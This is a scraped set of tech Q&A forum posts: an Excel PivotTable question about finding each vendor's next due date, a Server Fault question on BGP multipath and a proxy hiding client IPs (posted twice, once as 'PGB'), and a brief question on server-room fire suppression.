  I have got a table set up in one sheet with "transactions". Each row contains a name of a vendor, the amount owed or paid depending on transaction type, and the due date/transaction date. Here is some simplified sample data: Vendor Date Invoice Payment Vendor A 6/30 $200 Vendor A 6/30 ($200) Vendor B 7/5 $500 Vendor B 7/5 ($500) Vendor C 10/28 $50 Vendor A 10/30 $100 Vendor C 11/15 $50 I have already built a PivotTable from that table to group these transactions by vendor and sum the remainder owed. What I'm trying to figure out is how to, for each vendor, get the next due date (min date of the group, excluding dates < Today()), or if there is no next due date then I want to see the max date for that group. Here is what my PivotTable looks like, plus the date column I'd like to add (assuming Today() = 10/23): Vendor Date Owed Vendor B 7/5 - Vendor C 10/28 $100 Vendor A 10/30 $100 I know calling it next due date might not be so accurate if I end up with the date of a payment in that column, but I'm ok with that. tl;dr : I want to find the next earliest date within each group, or the last date. How do I do this?

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• BGP Multipath & return routes

  - by Dennis van der Stelt

  I'm probably a complete n00b concerning serverfault related questions, but our IT department makes a bold statement I wish to verify. I've searched the internet, but can find nothing related to my question, so I come here. We have Threat Management Gateway 2010 and we used to just route the request to IIS and it contained the ip address so we could see where it was coming from. But now they turned on "Requests apear to come the TMG server" so ip addresses aren't forwarded anymore. Every request has the ip of the TMG server. Now the idea behind this is that because of multipath bgp routes, the incoming request goes over RouteA, but the acknowledgement messages could return over RouteB. The claim is that because the request doesn't come from the first known source, our proxy, but instead from IIS, some smart routers at the visitor of our websites don't recognize the acknowledgement message and filter it out. In other words, the response never arrives. Again, this is the claim. But I cannot find ANY resources on the internet that support this claim. I do read about bgp multipath, but more in the case that there are alternative routes when the fastest route fails for some reason. So is the claim completely bogus or is there (some) truth to it? Can someone explain or point me to resources? Thanks in advance!

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• What's the best fire suppression for a server room?

  - by Dennis Williamson

  What is the state of the art in fire suppression for server rooms? What are the top priorities in choosing a good system?

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• PGB Multipath & return routes

  - by Dennis van der Stelt

  I'm probably a complete n00b concerning serverfault related questions, but our IT department makes a bold statement I wish to verify. I've searched the internet, but can find nothing related to my question, so I come here. We have Threat Management Gateway 2010 and we used to just route the request to IIS and it contained the ip address so we could see where it was coming from. But now they turned on "Requests apear to come the TMG server" so ip addresses aren't forwarded anymore. Every request has the ip of the TMG server. Now the idea behind this is that because of multipath bgp routes, the incoming request goes over RouteA, but the acknowledgement messages could return over RouteB. The claim is that because the request doesn't come from the first known source, our proxy, but instead from IIS, some smart routers at the visitor of our websites don't recognize the acknowledgement message and filter it out. In other words, the response never arrives. Again, this is the claim. But I cannot find ANY resources on the internet that support this claim. I do read about pgb multipath, but more in the case that there are alternative routes when the fastest route fails for some reason. So is the claim completely bogus or is there (some) truth to it? Can someone explain or point me to resources? Thanks in advance!

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